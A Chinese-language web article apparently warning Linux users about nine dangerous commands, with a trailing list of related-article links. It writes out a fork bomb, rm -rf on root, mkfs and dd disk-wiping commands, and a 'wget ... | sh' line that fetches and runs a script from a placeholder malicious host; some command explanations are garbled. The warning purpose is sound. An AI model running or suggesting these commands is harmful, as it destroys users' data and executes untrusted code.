9個必須時刻警惕的Linux命令&程式碼
Linux shell/terminal命令非常強大,即使一個簡單的命令就可能導致資料夾、檔案或者路徑資料夾等被刪除。
在一些情況下,Linux甚至不會詢問你而直接執行命令,導致你丟失各種資料資訊。
一般來說在Web上推薦新的Linux使用者執行這些命令,當然,也有人哪些寫過這程式碼的人不這麼想,因為這玩意你一寫下去就不是玩笑了。
這裡我收集了一些對系統有危害的Linux程式碼,幫助你避免他們。請記住:這些程式碼非常危險,甚至可以經過修改,變得更加有危害性。
還有一些事情需要注意:一些命令只在Ubuntu中有sudo字首時是有危害的。其他發行版本的Linux,則是在作為根目錄命令時會有危害。
1. Linux Fork Bomb Command
:(){ :|: & };: 以Fork Bomb聞名,是一個拒絕服務攻擊 的Linux 系統。:(){ :|: & };: 是一個bash函式。只要被執行,他會不斷重複,直到系統被凍結。
你只能重啟系統解決這個問題。所以當你在Linux介面執行這個命令時一定要注意。
2. Mv Folder/Dev/Null Command
mv folder/dev/null 也是一個危險的命令。Dev/null 或者 null device 是一個刪除所有寫在這個裝置檔案上資料的裝置檔案,但是,該操作提示卻是寫入操作執行成功。這就是我們常說的bit bucked 或者 black hole。
3. Rm -Rf Command
rm -rf命令在Linux系統中可以快速刪除資料夾及其內容。如果,你不知道如何正確使用它,你就只有哭了。
列下m-rf 命令最常見的組合和選擇:
- rm command :刪除Linux系統的檔案
- rm -f command:不需提示,刪除檔案中的只讀檔案
- rm -r command 迴圈刪除資料夾的內容
- rm -d command :刪除空目錄,如果非空目錄則不會執行該操作
- rm -rf/ command:強制刪除根目錄中的所有內容和子資料夾(包括防寫檔案)命令。
- rm -rf* command :強制刪除當前目錄中的所有內容(當前工作目錄)和字資料夾
- rm -rf. command:強制刪除當前資料夾目錄/子目錄中的所有內容 。同rm -r.[^.]*
The rm -r.[^.]* command :刪除檔案及資料夾,帶有刪除提示
4. Mkfs Command
如果你不知mkfs的作用,那麼它也是一個危險的命令,mkfs之後寫的任何命令都將會被一個空白的linux檔案系統格式化、替代。
下面列舉出需要管理員許可權,格式化硬碟的命令:
- mkfs
- mkfs.ext3
- mkfs.bfs
- mkfs.ext2
- mkfs.minix
- mkfs.msdos mkfs.reiserfs
- mkfs.vfat
mkfs.cramfs也可以和上面的程式碼做同樣的事情,不過不需要管理源許可權。
5. Tar Bomb
tar命令用於將多個檔案以.tar格式放入一個檔案中(存檔檔案)。Tape Archive (Tar) bomb可以由他建立。
當為壓縮時,就是這個存檔檔案生成數以萬計的相似名稱檔案出現在當前目錄中而不是新目錄。
當收到tar檔案,定期建立一個新的保護目錄,然後在解壓前將接受的tar檔案放到這個目錄中,你可以避免成為tar bomb的受害者。
6. Dd Command
Dd命令用於複製&改變硬碟分割槽。如果,你用錯地方了,那麼也很危險。
下面列舉dd命令:
- dd if=/dev/hda of=/dev/hdb
- dd if=/dev/hda of=/dev/sdb
- dd if=something of=/dev/hda
- dd if=something of=/dev/sda
下面這個命令會將整個主硬碟清零:dd if=/dev/zero of=/dev/had
7. Shell Script Code
有時候,你可能會被人坑,給你一個shell指令碼檔案,讓你去下載並執行它。該指令碼可能會包含一些惡意的或危險的程式碼。命令形式可能會是這樣:wget http://some_malicious_source -O- | sh。 wget將會在sh狹隘指令碼時下載指令碼。
8. Malicious Source Code
也許有人會給你原始碼讓你編譯他。程式碼可能是正常程式碼,不過,有一些惡意程式碼偽裝在大型原始碼中,如果是這樣,你的系統就中槍了。如何避免?僅接受並編譯可信賴來源的原始碼。
9. Decompression Bomb
你已經收到一個壓縮檔案,你被要求提取這個看起來很小的檔案,可能小到KB。事實上,該小尺寸的壓縮檔案包含高度壓縮資料。
只要檔案解壓,上百GB資料會被提取,這時候,過大的資料填滿硬碟導致當機,機率就很大了。如何避免?還是那句老話,別手賤,什麼檔案都去接收,請接收可信任來原始檔。
相關文章
- 必須掌握的10個Linux命令!Linux
- 【Linux常用命令①】程式設計師必須掌握的Linux命令Linux程式設計師
- 學習Linux必須掌握的命令!Linux
- Linux 中必須要了解的命令操作Linux
- Linux下必須知道的網路命令都有哪些?Linux
- 學習Linux必須掌握的命令!經驗分享Linux
- 長志氣戒傲氣 必須時刻保持冷靜
- shell程式設計必須要掌握的命令-xargs程式設計
- Linux必須掌握的shell指令碼基礎Linux指令碼
- 9個必須掌握的Javascript處理陣列的方法JavaScript陣列
- Linux命令技巧之30個必會的命令技巧Linux
- 運維人員必須要了解熟知的Linux命令彙總運維Linux
- Linux 操作必備 150 個命令Linux
- 程式猿必知必會Linux命令之awkLinux
- Linux的幾個新手必備的命令(一)Linux
- 寫專案程式碼之前必須要做的事
- Kubernetes管理員手邊必備的9個kubectl命令
- 高併發下秒殺商品,必須知道的9個細節
- 在 Linux 下 9 個有用的 touch 命令示例Linux
- 程式猿的心酸時刻
- 面試前必須知道的MySQL命令【explain】面試MySqlAI
- Linux新手入門必須要掌握的10個知識點!Linux
- Linux 運維必備的 40 個命令總結Linux運維
- 必須掌握的Linux使用者組Linux
- Linux 下 10 個最“危險”的命令,運維必知必防!Linux運維
- Linux運維必知必會的命令列:find 的 26 個用法示例!Linux運維命令列
- PMD外掛:你必須掌握的程式碼質量工具!
- 必應的下一個十年:穿越創新的奇點時刻
- Java程式設計師必須掌握的5個註解!Java程式設計師
- 聊聊程式設計師面試時,那些必須注意的事情程式設計師面試
- Java中處理異常的9個最佳實踐,你必須要知道!Java
- 學習Kali Linux必須知道的幾點Linux
- Linux系統中必須掌握的特殊字元!Linux字元
- Linux 運維必備 150 個命令彙總Linux運維
- 測試工程師必須要會寫程式碼嗎?工程師
- 【知識分享】Linux檔案傳輸常用的9個命令!Linux
- 必須掌握的Linux使用者組知識Linux
- 機器學習實際應用中必須考慮到的9個問題機器學習
- 5個產品經理必須掌握的,小程式裂變案例